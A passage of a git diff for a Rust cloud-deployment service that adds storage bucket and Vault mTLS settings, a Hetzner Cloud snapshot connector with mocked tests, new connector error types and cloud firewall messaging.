+        "marketplace-assets-test".to_string()
+    }
+
+    fn default_bucket_staging() -> String {
+        "marketplace-assets-staging".to_string()
+    }
+
+    fn default_bucket_prod() -> String {
+        "marketplace-assets-prod".to_string()
+    }
+
+    fn default_presign_put_ttl_secs() -> u64 {
+        900
+    }
+
+    fn default_presign_get_ttl_secs() -> u64 {
+        300
+    }
+
+    pub fn active_bucket(&self) -> &str {
+        match self.current_env.as_str() {
+            "test" => &self.bucket_test,
+            "staging" => &self.bucket_staging,
+            "prod" | "production" => &self.bucket_prod,
+            _ => &self.bucket_dev,
+        }
+    }
+
+    pub fn is_configured(&self) -> bool {
+        self.enabled
+            && !self.endpoint_url.trim().is_empty()
+            && !self.access_key_id.trim().is_empty()
+            && !self.secret_access_key.trim().is_empty()
+            && !self.active_bucket().trim().is_empty()
+    }
+}
+
 impl DeploymentSettings {
     fn default_config_base_path() -> String {
         std::env::var("DEFAULT_DEPLOY_DIR").unwrap_or_else(|_| "/home/trydirect".to_string())
@@ -198,6 +485,14 @@ pub struct VaultSettings {
     pub api_prefix: String,
     #[serde(default)]
     pub ssh_key_path_prefix: Option<String>,
+    /// Client certificate PEM for mTLS (inline) or file path.
+    /// Read from VAULT_CLIENT_CERT env var.
+    #[serde(default)]
+    pub client_cert: Option<String>,
+    /// Client key PEM for mTLS (inline) or file path.
+    /// Read from VAULT_CLIENT_KEY env var.
+    #[serde(default)]
+    pub client_key: Option<String>,
 }
 
 impl std::fmt::Debug for VaultSettings {
@@ -208,6 +503,14 @@ impl std::fmt::Debug for VaultSettings {
             .field("agent_path_prefix", &self.agent_path_prefix)
             .field("api_prefix", &self.api_prefix)
             .field("ssh_key_path_prefix", &self.ssh_key_path_prefix)
+            .field(
+                "client_cert",
+                &self.client_cert.as_ref().map(|_| "[REDACTED]"),
+            )
+            .field(
+                "client_key",
+                &self.client_key.as_ref().map(|_| "[REDACTED]"),
+            )
             .finish()
     }
 }
@@ -220,6 +523,8 @@ impl Default for VaultSettings {
             agent_path_prefix: "agent".to_string(),
             api_prefix: Self::default_api_prefix(),
             ssh_key_path_prefix: Some("users".to_string()),
+            client_cert: None,
+            client_key: None,
         }
     }
 }
@@ -241,6 +546,8 @@ impl VaultSettings {
             self.ssh_key_path_prefix
                 .unwrap_or_else(|| "users".to_string()),
         );
+        let client_cert = std::env::var("VAULT_CLIENT_CERT").ok().or(self.client_cert);
+        let client_key = std::env::var("VAULT_CLIENT_KEY").ok().or(self.client_key);
 
         VaultSettings {
             address,
@@ -248,6 +555,8 @@ impl VaultSettings {
             agent_path_prefix,
             api_prefix,
             ssh_key_path_prefix: Some(ssh_key_path_prefix),
+            client_cert,
+            client_key,
         }
     }
 }
@@ -312,6 +621,7 @@ pub fn get_configuration() -> Result<Settings, config::ConfigError> {
 
     // Overlay Vault settings with environment variables if present
     config.vault = config.vault.overlay_env();
+    config.payouts = config.payouts.overlay_env();
 
     if let Ok(timeout) = std::env::var("STACKER_AGENT_POLL_TIMEOUT_SECS") {
         if let Ok(parsed) = timeout.parse::<u64>() {
@@ -325,6 +635,18 @@ pub fn get_configuration() -> Result<Settings, config::ConfigError> {
         }
     }
 
+    if let Ok(timeout) = std::env::var("STACKER_AUTH_REQUEST_TIMEOUT_SECS") {
+        if let Ok(parsed) = timeout.parse::<u64>() {
+            config.auth_request_timeout_secs = parsed;
+        }
+    }
+
+    if let Ok(timeout) = std::env::var("STACKER_AUTH_CONNECT_TIMEOUT_SECS") {
+        if let Ok(parsed) = timeout.parse::<u64>() {
+            config.auth_connect_timeout_secs = parsed;
+        }
+    }
+
     if let Ok(enabled) = std::env::var("STACKER_CASBIN_RELOAD_ENABLED") {
         config.casbin_reload_enabled = parse_bool_env(&enabled);
     }
@@ -381,4 +703,12 @@ mod tests {
         assert!(!parse_bool_env("True")); // Case-sensitive
         assert!(!parse_bool_env("invalid"));
     }
+
+    #[test]
+    fn test_default_auth_timeouts_are_bounded() {
+        let settings = Settings::default();
+
+        assert_eq!(settings.auth_request_timeout_secs, 5);
+        assert_eq!(settings.auth_connect_timeout_secs, 2);
+    }
 }
diff --git a/src/connectors/admin_service/jwt.rs b/src/connectors/admin_service/jwt.rs
index 7016685c..a0fb796c 100644
--- a/src/connectors/admin_service/jwt.rs
+++ b/src/connectors/admin_service/jwt.rs
@@ -57,6 +57,7 @@ pub fn user_from_jwt_claims(claims: &JwtClaims) -> models::User {
         email_confirmed: false,
         first_name: "Service".to_string(),
         last_name: "Account".to_string(),
+        mfa_verified: false,
         access_token: None,
     }
 }
diff --git a/src/connectors/app_service_catalog.rs b/src/connectors/app_service_catalog.rs
new file mode 100644
index 00000000..8e7e5c2d
--- /dev/null
+++ b/src/connectors/app_service_catalog.rs
@@ -0,0 +1,181 @@
+use serde_json::Value;
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct ServerCapacity {
+    pub id: String,
+    pub ram_mb: Option<i32>,
+    pub cpu_cores: Option<i32>,
+    pub disk_gb: Option<i32>,
+}
+
+pub fn app_service_base_url() -> String {
+    std::env::var("APP_SERVICE_URL").unwrap_or_else(|_| "http://app:4200".to_string())
+}
+
+pub fn is_supported_cloud_provider(provider: &str) -> bool {
+    matches!(
+        provider,
+        "do" | "htz" | "lo" | "scw" | "aws" | "gc" | "vu" | "ovh" | "upc" | "ali"
+    )
+}
+
+pub async fn fetch_catalog(
+    provider: &str,
+    resource: &str,
+    cloud_id: Option<i32>,
+    access_token: Option<&str>,
+) -> Result<Value, String> {
+    if !is_supported_cloud_provider(provider) {
+        return Err(
+            "Unsupported provider. Use one of: do, htz, lo, scw, aws, gc, vu, ovh, upc, ali"
+                .to_string(),
+        );
+    }
+
+    let base_url = app_service_base_url().trim_end_matches('/').to_string();
+    let mut url = format!("{}/{}/{}", base_url, provider, resource);
+
+    if let Some(cloud_id) = cloud_id {
+        url.push_str(&format!("?cloud_id={}", cloud_id));
+    }
+
+    let client = reqwest::Client::new();
+    let mut request = client.get(&url);
+
+    if let Some(token) = access_token.filter(|token| !token.is_empty()) {
+        request = request.header("Authorization", format!("Bearer {}", token));
+    }
+
+    let response = request
+        .send()
+        .await
+        .map_err(|e| format!("Failed to call App Service: {}", e))?;
+
+    if !response.status().is_success() {
+        let status = response.status();
+        let body = response.text().await.unwrap_or_default();
+        return Err(format!("App Service error {}: {}", status, body));
+    }
+
+    response
+        .json::<Value>()
+        .await
+        .map_err(|e| format!("Failed to parse App Service response: {}", e))
+}
+
+fn parse_i32(value: Option<&Value>) -> Option<i32> {
+    match value {
+        Some(Value::Number(number)) => {
+            if let Some(integer) = number.as_i64() {
+                i32::try_from(integer).ok()
+            } else {
+                number.as_f64().map(|float| float.round() as i32)
+            }
+        }
+        Some(Value::String(string)) => string
+            .parse::<i64>()
+            .ok()
+            .and_then(|integer| i32::try_from(integer).ok())
+            .or_else(|| string.parse::<f64>().ok().map(|float| float.round() as i32)),
+        _ => None,
+    }
+}
+
+fn parse_ram_mb(value: Option<&Value>) -> Option<i32> {
+    match value {
+        Some(Value::Number(number)) => number
+            .as_f64()
+            .map(|ram_gb| (ram_gb * 1024.0).round() as i32),
+        Some(Value::String(string)) => string
+            .parse::<f64>()
+            .ok()
+            .map(|ram_gb| (ram_gb * 1024.0).round() as i32),
+        _ => None,
+    }
+}
+
+pub fn resolve_server_capacity(payload: &Value, server_slug: &str) -> Option<ServerCapacity> {
+    let servers = payload.get("servers")?.as_array()?;
+    let server = servers.iter().find(|server| {
+        server
+            .get("id")
+            .and_then(Value::as_str)
+            .map(|id| id.eq_ignore_ascii_case(server_slug))
+            .unwrap_or(false)
+    })?;
+
+    Some(ServerCapacity {
+        id: server.get("id")?.as_str()?.to_string(),
+        ram_mb: parse_ram_mb(server.get("ram")),
+        cpu_cores: parse_i32(server.get("vcpu")).or_else(|| parse_i32(server.get("cpu"))),
+        disk_gb: parse_i32(server.get("disk_size")),
+    })
+}
+
+#[cfg(test)]
+mod tests {
+    use super::{resolve_server_capacity, ServerCapacity};
+    use serde_json::json;
+
+    #[test]
+    fn resolve_server_capacity_maps_standard_server_shape() {
+        let payload = json!({
+            "_status": "OK",
+            "servers": [
+                {
+                    "id": "cx22",
+                    "ram": 4,
+                    "vcpu": 2,
+                    "disk_size": 40
+                }
+            ]
+        });
+
+        assert_eq!(
+            Some(ServerCapacity {
+                id: "cx22".to_string(),
+                ram_mb: Some(4096),
+                cpu_cores: Some(2),
+                disk_gb: Some(40),
+            }),
+            resolve_server_capacity(&payload, "cx22")
+        );
+    }
+
+    #[test]
+    fn resolve_server_capacity_supports_string_numbers() {
+        let payload = json!({
+            "_status": "OK",
+            "servers": [
+                {
+                    "id": "cpx31",
+                    "ram": "8",
+                    "vcpu": "4",
+                    "disk_size": "160"
+                }
+            ]
+        });
+
+        assert_eq!(
+            Some(ServerCapacity {
+                id: "cpx31".to_string(),
+                ram_mb: Some(8192),
+                cpu_cores: Some(4),
+                disk_gb: Some(160),
+            }),
+            resolve_server_capacity(&payload, "cpx31")
+        );
+    }
+
+    #[test]
+    fn resolve_server_capacity_returns_none_when_server_missing() {
+        let payload = json!({
+            "_status": "OK",
+            "servers": [
+                { "id": "cx11", "ram": 2, "vcpu": 1, "disk_size": 20 }
+            ]
+        });
+
+        assert_eq!(None, resolve_server_capacity(&payload, "cx22"));
+    }
+}
diff --git a/src/connectors/config.rs b/src/connectors/config.rs
index 7122ed31..0d2334d9 100644
--- a/src/connectors/config.rs
+++ b/src/connectors/config.rs
@@ -4,6 +4,7 @@ use serde::{Deserialize, Serialize};
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct ConnectorConfig {
     pub user_service: Option<UserServiceConfig>,
+    pub install_service: Option<InstallServiceConfig>,
     pub payment_service: Option<PaymentServiceConfig>,
     pub events: Option<EventsConfig>,
     pub dockerhub_service: Option<DockerHubConnectorConfig>,
@@ -37,6 +38,19 @@ impl Default for UserServiceConfig {
     }
 }
 
+/// Install Service connector configuration
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct InstallServiceConfig {
+    /// Enable/disable Install Service integration
+    pub enabled: bool,
+}
+
+impl Default for InstallServiceConfig {
+    fn default() -> Self {
+        Self { enabled: true }
+    }
+}
+
 /// Payment Service connector configuration
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct PaymentServiceConfig {
@@ -90,6 +104,7 @@ impl Default for ConnectorConfig {
     fn default() -> Self {
         Self {
             user_service: Some(UserServiceConfig::default()),
+            install_service: Some(InstallServiceConfig::default()),
             payment_service: Some(PaymentServiceConfig::default()),
             events: Some(EventsConfig::default()),
             dockerhub_service: Some(DockerHubConnectorConfig::default()),
diff --git a/src/connectors/dockerhub_service.rs b/src/connectors/dockerhub_service.rs
index 9a3c6be4..d84cd060 100644
--- a/src/connectors/dockerhub_service.rs
+++ b/src/connectors/dockerhub_service.rs
@@ -82,10 +82,15 @@ impl RedisCache {
             ConnectorError::Internal(format!("Invalid Redis URL for Docker Hub cache: {}", err))
         })?;
 
-        let connection = tokio::time::timeout(Duration::from_secs(3), ConnectionManager::new(client))
-            .await
-            .map_err(|_| ConnectorError::ServiceUnavailable("Redis connection timed out".to_string()))?
-            .map_err(|err| ConnectorError::ServiceUnavailable(format!("Redis unavailable: {}", err)))?;
+        let connection =
+            tokio::time::timeout(Duration::from_secs(3), ConnectionManager::new(client))
+                .await
+                .map_err(|_| {
+                    ConnectorError::ServiceUnavailable("Redis connection timed out".to_string())
+                })?
+                .map_err(|err| {
+                    ConnectorError::ServiceUnavailable(format!("Redis unavailable: {}", err))
+                })?;
 
         Ok(Self {
             connection: Arc::new(Mutex::new(connection)),
diff --git a/src/connectors/errors.rs b/src/connectors/errors.rs
index 6b521b5b..dfc0d738 100644
--- a/src/connectors/errors.rs
+++ b/src/connectors/errors.rs
@@ -19,6 +19,11 @@ pub enum ConnectorError {
     RateLimited(String),
     /// Internal error in connector
     Internal(String),
+    /// Payment required — the external service declined a billing operation
+    /// (e.g. no payment method, card declined). Surfaced as HTTP 402 upstream.
+    PaymentRequired(String),
+    /// Idempotency-key collision or state-transition conflict (HTTP 409).
+    Conflict(String),
 }
 
 impl fmt::Display for ConnectorError {
@@ -31,6 +36,8 @@ impl fmt::Display for ConnectorError {
             Self::NotFound(msg) => write!(f, "Not found: {}", msg),
             Self::RateLimited(msg) => write!(f, "Rate limited: {}", msg),
             Self::Internal(msg) => write!(f, "Internal error: {}", msg),
+            Self::PaymentRequired(msg) => write!(f, "Payment required: {}", msg),
+            Self::Conflict(msg) => write!(f, "Conflict: {}", msg),
         }
     }
 }
@@ -47,6 +54,8 @@ impl ResponseError for ConnectorError {
             Self::NotFound(_) => (StatusCode::NOT_FOUND, "Resource not found"),
             Self::RateLimited(_) => (StatusCode::TOO_MANY_REQUESTS, "Rate limit exceeded"),
             Self::Internal(_) => (StatusCode::INTERNAL_SERVER_ERROR, "Internal error"),
+            Self::PaymentRequired(_) => (StatusCode::PAYMENT_REQUIRED, "Payment required"),
+            Self::Conflict(_) => (StatusCode::CONFLICT, "Conflict"),
         };
 
         HttpResponse::build(status).json(json!({
@@ -64,6 +73,8 @@ impl ResponseError for ConnectorError {
             Self::NotFound(_) => StatusCode::NOT_FOUND,
             Self::RateLimited(_) => StatusCode::TOO_MANY_REQUESTS,
             Self::Internal(_) => StatusCode::INTERNAL_SERVER_ERROR,
+            Self::PaymentRequired(_) => StatusCode::PAYMENT_REQUIRED,
+            Self::Conflict(_) => StatusCode::CONFLICT,
         }
     }
 }
diff --git a/src/connectors/hetzner.rs b/src/connectors/hetzner.rs
new file mode 100644
index 00000000..6941b6e3
--- /dev/null
+++ b/src/connectors/hetzner.rs
@@ -0,0 +1,399 @@
+//! Hetzner Cloud connector.
+//!
+//! Keep all Hetzner API calls behind this trait so MCP/routes can be tested
+//! without touching real infrastructure.
+
+use async_trait::async_trait;
+use serde::{Deserialize, Serialize};
+use serde_json::json;
+use std::time::Duration;
+
+use crate::connectors::ConnectorError;
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct HetznerSnapshotTarget {
+    pub provider_server_id: Option<i64>,
+    pub server_name: Option<String>,
+    pub public_ip: Option<String>,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+pub struct HetznerSnapshot {
+    pub action_id: i64,
+    pub status: String,
+    pub image_id: Option<i64>,
+}
+
+#[async_trait]
+pub trait HetznerCloudConnector: Send + Sync {
+    async fn create_server_snapshot(
+        &self,
+        token: &str,
+        target: HetznerSnapshotTarget,
+        description: &str,
+    ) -> Result<HetznerSnapshot, ConnectorError>;
+
+    async fn list_server_types(
+        &self,
+        token: &str,
+        location: Option<&str>,
+    ) -> Result<Vec<String>, ConnectorError>;
+}
+
+#[derive(Clone)]
+pub struct HetznerCloudClient {
+    http_client: reqwest::Client,
+    base_url: String,
+}
+
+impl HetznerCloudClient {
+    pub fn new(base_url: impl Into<String>) -> Result<Self, ConnectorError> {
+        let http_client = reqwest::Client::builder()
+            .connect_timeout(Duration::from_secs(10))
+            .timeout(Duration::from_secs(45))
+            .build()
+            .map_err(ConnectorError::from)?;
+        Ok(Self {
+            http_client,
+            base_url: base_url.into().trim_end_matches("/").to_string(),
+        })
+    }
+
+    pub fn from_env() -> Result<Self, ConnectorError> {
+        let base_url = std::env::var("HETZNER_API_BASE_URL")
+            .unwrap_or_else(|_| "https://api.hetzner.cloud/v1".to_string());
+        Self::new(base_url)
+    }
+
+    async fn resolve_server_id(
+        &self,
+        token: &str,
+        target: &HetznerSnapshotTarget,
+    ) -> Result<i64, ConnectorError> {
+        if let Some(id) = target.provider_server_id {
+            return Ok(id);
+        }
+
+        let response = self
+            .http_client
+            .get(format!("{}/servers", self.base_url))
+            .bearer_auth(token)
+            .send()
+            .await
+            .map_err(ConnectorError::from)?;
+        let status = response.status();
+        if !status.is_success() {
+            return Err(status_to_error(status, "Hetzner server lookup failed"));
+        }
+
+        let body: HetznerServersResponse = response
+            .json()
+            .await
+            .map_err(|err| ConnectorError::InvalidResponse(err.to_string()))?;
+        find_matching_hetzner_server(&body.servers, target)
+            .map(|server| server.id)
+            .ok_or_else(|| {
+                ConnectorError::NotFound(
+                    "No Hetzner server matched the saved Stacker server name or public IP"
+                        .to_string(),
+                )
+            })
+    }
+}
+
+#[async_trait]
+impl HetznerCloudConnector for HetznerCloudClient {
+    async fn create_server_snapshot(
+        &self,
+        token: &str,
+        target: HetznerSnapshotTarget,
+        description: &str,
+    ) -> Result<HetznerSnapshot, ConnectorError> {
+        let server_id = self.resolve_server_id(token, &target).await?;
+        let response = self
+            .http_client
+            .post(format!(
+                "{}/servers/{}/actions/create_image",
+                self.base_url, server_id
+            ))
+            .bearer_auth(token)
+            .json(&json!({
+                "type": "snapshot",
+                "description": description,
+            }))
+            .send()
+            .await
+            .map_err(ConnectorError::from)?;
+
+        let status = response.status();
+        if !status.is_success() {
+            return Err(status_to_error(status, "Hetzner snapshot request failed"));
+        }
+
+        let body: HetznerCreateImageResponse = response
+            .json()
+            .await
+            .map_err(|err| ConnectorError::InvalidResponse(err.to_string()))?;
+        let image_id = body
+            .action
+            .resources
+            .iter()
+            .find(|resource| resource.resource_type == "image")
+            .map(|resource| resource.id);
+
+        Ok(HetznerSnapshot {
+            action_id: body.action.id,
+            status: body.action.status,
+            image_id,
+        })
+    }
+
+    async fn list_server_types(
+        &self,
+        token: &str,
+        location: Option<&str>,
+    ) -> Result<Vec<String>, ConnectorError> {
+        let url = match location {
+            Some(loc) => format!("{}/server_types?location={}", self.base_url, loc),
+            None => format!("{}/server_types", self.base_url),
+        };
+
+        let response = self
+            .http_client
+            .get(&url)
+            .bearer_auth(token)
+            .send()
+            .await
+            .map_err(ConnectorError::from)?;
+
+        let status = response.status();
+        if !status.is_success() {
+            return Err(status_to_error(
+                status,
+                "Hetzner server types lookup failed",
+            ));
+        }
+
+        let body: HetznerServerTypesResponse = response
+            .json()
+            .await
+            .map_err(|err| ConnectorError::InvalidResponse(err.to_string()))?;
+
+        Ok(body.server_types.into_iter().map(|t| t.name).collect())
+    }
+}
+
+fn status_to_error(status: reqwest::StatusCode, message: &str) -> ConnectorError {
+    match status.as_u16() {
+        401 | 403 => {
+            ConnectorError::Unauthorized("Hetzner rejected the saved cloud token".to_string())
+        }
+        404 => ConnectorError::NotFound(message.to_string()),
+        429 => ConnectorError::RateLimited("Hetzner API rate limit exceeded".to_string()),
+        _ => ConnectorError::HttpError(format!("{} with status {}", message, status.as_u16())),
+    }
+}
+
+fn find_matching_hetzner_server<'a>(
+    servers: &'a [HetznerServer],
+    target: &HetznerSnapshotTarget,
+) -> Option<&'a HetznerServer> {
+    let expected_ip = target
+        .public_ip
+        .as_deref()
+        .filter(|value| !value.trim().is_empty());
+    let expected_name = target
+        .server_name
+        .as_deref()
+        .filter(|value| !value.trim().is_empty());
+
+    servers.iter().find(|server| {
+        expected_ip.is_some_and(|ip| hetzner_server_ip(server) == Some(ip))
+            || expected_name.is_some_and(|name| server.name == name)
+    })
+}
+
+fn hetzner_server_ip(server: &HetznerServer) -> Option<&str> {
+    server
+        .public_net
+        .as_ref()
+        .and_then(|net| net.ipv4.as_ref())
+        .map(|ipv4| ipv4.ip.as_str())
+}
+
+#[derive(Debug, Deserialize)]
+struct HetznerServersResponse {
+    servers: Vec<HetznerServer>,
+}
+
+#[derive(Debug, Deserialize)]
+struct HetznerServer {
+    id: i64,
+    name: String,
+    #[serde(default)]
+    public_net: Option<HetznerServerPublicNet>,
+}
+
+#[derive(Debug, Deserialize)]
+struct HetznerServerPublicNet {
+    #[serde(default)]
+    ipv4: Option<HetznerServerIpv4>,
+}
+
+#[derive(Debug, Deserialize)]
+struct HetznerServerIpv4 {
+    ip: String,
+}
+
+#[derive(Debug, Deserialize)]
+struct HetznerCreateImageResponse {
+    action: HetznerAction,
+}
+
+#[derive(Debug, Deserialize)]
+struct HetznerAction {
+    id: i64,
+    status: String,
+    #[serde(default)]
+    resources: Vec<HetznerActionResource>,
+}
+
+#[derive(Debug, Deserialize)]
+struct HetznerActionResource {
+    id: i64,
+    #[serde(rename = "type")]
+    resource_type: String,
+}
+
+#[derive(Debug, Deserialize)]
+struct HetznerServerTypesResponse {
+    #[serde(default)]
+    server_types: Vec<HetznerServerType>,
+}
+
+#[derive(Debug, Deserialize)]
+struct HetznerServerType {
+    name: String,
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use wiremock::matchers::{body_partial_json, header, method, path};
+    use wiremock::{Mock, MockServer, ResponseTemplate};
+
+    #[tokio::test]
+    async fn create_snapshot_resolves_server_by_public_ip_without_live_api() {
+        let api = MockServer::start().await;
+        Mock::given(method("GET"))
+            .and(path("/servers"))
+            .and(header("authorization", "Bearer test-token"))
+            .respond_with(ResponseTemplate::new(200).set_body_json(json!({
+                "servers": [{
+                    "id": 123,
+                    "name": "prod-web-1",
+                    "public_net": { "ipv4": { "ip": "203.0.113.10" } }
+                }]
+            })))
+            .mount(&api)
+            .await;
+        Mock::given(method("POST"))
+            .and(path("/servers/123/actions/create_image"))
+            .and(header("authorization", "Bearer test-token"))
+            .and(body_partial_json(json!({"type": "snapshot"})))
+            .respond_with(ResponseTemplate::new(201).set_body_json(json!({
+                "action": {
+                    "id": 777,
+                    "status": "running",
+                    "resources": [{"id": 888, "type": "image"}]
+                }
+            })))
+            .mount(&api)
+            .await;
+
+        let client = HetznerCloudClient::new(api.uri()).unwrap();
+        let snapshot = client
+            .create_server_snapshot(
+                "test-token",
+                HetznerSnapshotTarget {
+                    provider_server_id: None,
+                    server_name: None,
+                    public_ip: Some("203.0.113.10".to_string()),
+                },
+                "Stacker troubleshooting snapshot",
+            )
+            .await
+            .unwrap();
+
+        assert_eq!(snapshot.action_id, 777);
+        assert_eq!(snapshot.image_id, Some(888));
+        assert_eq!(snapshot.status, "running");
+    }
+
+    #[tokio::test]
+    async fn create_snapshot_can_use_known_provider_server_id() {
+        let api = MockServer::start().await;
+        Mock::given(method("POST"))
+            .and(path("/servers/456/actions/create_image"))
+            .and(header("authorization", "Bearer test-token"))
+            .respond_with(ResponseTemplate::new(201).set_body_json(json!({
+                "action": { "id": 778, "status": "running", "resources": [] }
+            })))
+            .mount(&api)
+            .await;
+
+        let client = HetznerCloudClient::new(api.uri()).unwrap();
+        let snapshot = client
+            .create_server_snapshot(
+                "test-token",
+                HetznerSnapshotTarget {
+                    provider_server_id: Some(456),
+                    server_name: None,
+                    public_ip: None,
+                },
+                "Stacker troubleshooting snapshot",
+            )
+            .await
+            .unwrap();
+
+        assert_eq!(snapshot.action_id, 778);
+        assert_eq!(snapshot.image_id, None);
+    }
+
+    #[tokio::test]
+    async fn list_server_types_returns_names() {
+        let api = MockServer::start().await;
+        Mock::given(method("GET"))
+            .and(path("/server_types"))
+            .and(header("authorization", "Bearer test-token"))
+            .respond_with(ResponseTemplate::new(200).set_body_json(json!({
+                "server_types": [
+                    {"id": 1, "name": "cx22"},
+                    {"id": 2, "name": "cx32"},
+                    {"id": 3, "name": "cx42"}
+                ]
+            })))
+            .mount(&api)
+            .await;
+
+        let client = HetznerCloudClient::new(api.uri()).unwrap();
+        let types = client.list_server_types("test-token", None).await.unwrap();
+
+        assert_eq!(types, vec!["cx22", "cx32", "cx42"]);
+    }
+
+    #[tokio::test]
+    async fn list_server_types_returns_unauthorized_on_401() {
+        let api = MockServer::start().await;
+        Mock::given(method("GET"))
+            .and(path("/server_types"))
+            .respond_with(ResponseTemplate::new(401))
+            .mount(&api)
+            .await;
+
+        let client = HetznerCloudClient::new(api.uri()).unwrap();
+        let result = client.list_server_types("bad-token", None).await;
+
+        assert!(matches!(result, Err(ConnectorError::Unauthorized(_))));
+    }
+}
diff --git a/src/connectors/install_service/client.rs b/src/connectors/install_service/client.rs
index 51cd599c..10365d17 100644
--- a/src/connectors/install_service/client.rs
+++ b/src/connectors/install_service/client.rs
@@ -1,5 +1,7 @@
 use super::InstallServiceConnector;
-use crate::forms::project::{RegistryForm, Stack};
+use crate::forms::cloud_firewall;
+use crate::forms::project::{RegistryForm, Stack, Var};
+use crate::forms::{CloudFirewallOperationMessage, ConfigureCloudFirewallResponse};
 use crate::helpers::{compressor::compress, MqManager};
 use crate::models;
 use async_trait::async_trait;
@@ -7,6 +9,85 @@ use async_trait::async_trait;
 /// Real implementation that publishes deployment requests through RabbitMQ
 pub struct InstallServiceClient;
 
+fn normalize_server_region_for_installer(provider: &str, server: &mut crate::forms::ServerForm) {
+    if !matches!(provider, "htz" | "hetzner") {
+        return;
+    }
+
+    let Some(region) = server.region.as_deref() else {
+        return;
+    };
+
+    let location = match region {
+        "nbg1-dc3" => "nbg1",
+        "fsn1-dc14" => "fsn1",
+        "hel1-dc2" => "hel1",
+        "ash-dc1" => "ash",
+        "hil-dc1" => "hil",
+        _ => return,
+    };
+
+    server.region = Some(location.to_string());
+}
+
+fn stack_var_string(vars: &Option<Vec<Var>>, key: &str) -> Option<String> {
+    vars.as_ref()?.iter().find_map(|var| {
+        if var.key.as_deref() == Some(key) {
+            var.value
+                .as_ref()
+                .and_then(|value| value.as_str().map(ToOwned::to_owned))
+        } else {
+            None
+        }
+    })
+}
+
+#[cfg(test)]
+mod tests {
+    use super::normalize_server_region_for_installer;
+    use crate::forms::ServerForm;
+
+    #[test]
+    fn preserves_hetzner_location_for_installer() {
+        let mut server = ServerForm {
+            region: Some("nbg1".to_string()),
+            server: Some("cpx21".to_string()),
+            os: Some("docker-ce".to_string()),
+            ..Default::default()
+        };
+
+        normalize_server_region_for_installer("htz", &mut server);
+
+        assert_eq!(server.region.as_deref(), Some("nbg1"));
+        assert_eq!(server.server.as_deref(), Some("cpx21"));
+        assert_eq!(server.os.as_deref(), Some("docker-ce"));
+    }
+
+    #[test]
+    fn normalizes_hetzner_datacenter_to_location_for_installer() {
+        let mut server = ServerForm {
+            region: Some("fsn1-dc14".to_string()),
+            ..Default::default()
+        };
+
+        normalize_server_region_for_installer("htz", &mut server);
+
+        assert_eq!(server.region.as_deref(), Some("fsn1"));
+    }
+
+    #[test]
+    fn leaves_non_hetzner_regions_unchanged() {
+        let mut server = ServerForm {
+            region: Some("fra1".to_string()),
+            ..Default::default()
+        };
+
+        normalize_server_region_for_installer("do", &mut server);
+
+        assert_eq!(server.region.as_deref(), Some("fra1"));
+    }
+}
+
 #[async_trait]
 impl InstallServiceConnector for InstallServiceClient {
     async fn deploy(
@@ -42,6 +123,7 @@ impl InstallServiceConnector for InstallServiceClient {
         payload.server = Some(server.into());
         // Inject newly-generated public key so Install Service can append it to authorized_keys
         if let Some(ref mut srv) = payload.server {
+            normalize_server_region_for_installer(&cloud_creds.provider, srv);
             if srv.public_key.is_none() {
                 srv.public_key = server_public_key;
             }
@@ -53,6 +135,9 @@ impl InstallServiceConnector for InstallServiceClient {
         }
         payload.cloud = Some(cloud_creds.into());
         payload.stack = form_stack.clone().into();
+        if payload.common_domain.is_none() {
+            payload.common_domain = stack_var_string(&form_stack.vars, "commonDomain");
+        }
         payload.user_token = Some(user_id);
         payload.user_email = Some(user_email);
         payload.docker_compose = Some(compress(fc.as_str()));
@@ -94,4 +179,34 @@ impl InstallServiceConnector for InstallServiceClient {
 
         Ok(project_id)
     }
+
+    async fn configure_cloud_firewall(
+        &self,
+        message: CloudFirewallOperationMessage,
+        mq_manager: &MqManager,
+    ) -> Result<ConfigureCloudFirewallResponse, String> {
+        let routing_key = cloud_firewall::routing_key(&message.target.provider)
+            .ok_or_else(|| format!("Unsupported cloud provider: {}", message.target.provider))?;
+
+        mq_manager
+            .publish("install".to_string(), routing_key.clone(), &message)
+            .await
+            .map_err(|err| format!("Failed to publish cloud firewall operation to MQ: {}", err))?;
+
+        Ok(ConfigureCloudFirewallResponse {
+            operation_id: message.operation_id,
+            accepted: true,
+            protocol_version: message.protocol_version,
+            provider: cloud_firewall::normalize_provider(&message.target.provider)
+                .unwrap_or(message.target.provider.as_str())
+                .to_string(),
+            server_id: message.target.server_id,
+            action: message.action,
+            rules: message.rules,
+            routing_key,
+            message: "Cloud firewall operation accepted".to_string(),
+            firewall_name: None,
+            firewall: None,
+        })
+    }
 }
diff --git a/src/connectors/install_service/init.rs b/src/connectors/install_service/init.rs
new file mode 100644
index 00000000..9afdb756
--- /dev/null
+++ b/src/connectors/install_service/init.rs
@@ -0,0 +1,22 @@
+use actix_web::web;
+use std::sync::Arc;
+
+use crate::connectors::config::ConnectorConfig;
+
+use super::{InstallServiceClient, InstallServiceConnector, MockInstallServiceConnector};
+
+pub fn init(connector_config: &ConnectorConfig) -> web::Data<Arc<dyn InstallServiceConnector>> {
+    let connector: Arc<dyn InstallServiceConnector> = if connector_config
+        .install_service
+        .as_ref()
+        .map(|cfg| cfg.enabled)
+        .unwrap_or(true)
+    {
+        Arc::new(InstallServiceClient)
+    } else {
+        tracing::warn!("Install Service connector disabled - using mock");
+        Arc::new(MockInstallServiceConnector)
+    };
+
+    web::Data::new(connector)
+}
diff --git a/src/connectors/install_service/mock.rs b/src/connectors/install_service/mock.rs
index 4bb72288..1edce00b 100644
--- a/src/connectors/install_service/mock.rs
+++ b/src/connectors/install_service/mock.rs
@@ -1,5 +1,7 @@
 use super::InstallServiceConnector;
+use crate::forms::cloud_firewall;
 use crate::forms::project::{RegistryForm, Stack};
+use crate::forms::{CloudFirewallOperationMessage, ConfigureCloudFirewallResponse};
 use crate::helpers::MqManager;
 use crate::models;
 use async_trait::async_trait;
@@ -27,4 +29,29 @@ impl InstallServiceConnector for MockInstallServiceConnector {
     ) -> Result<i32, String> {
         Ok(project_id)
     }
+
+    async fn configure_cloud_firewall(
+        &self,
+        message: CloudFirewallOperationMessage,
+        _mq_manager: &MqManager,
+    ) -> Result<ConfigureCloudFirewallResponse, String> {
+        let routing_key = cloud_firewall::routing_key(&message.target.provider)
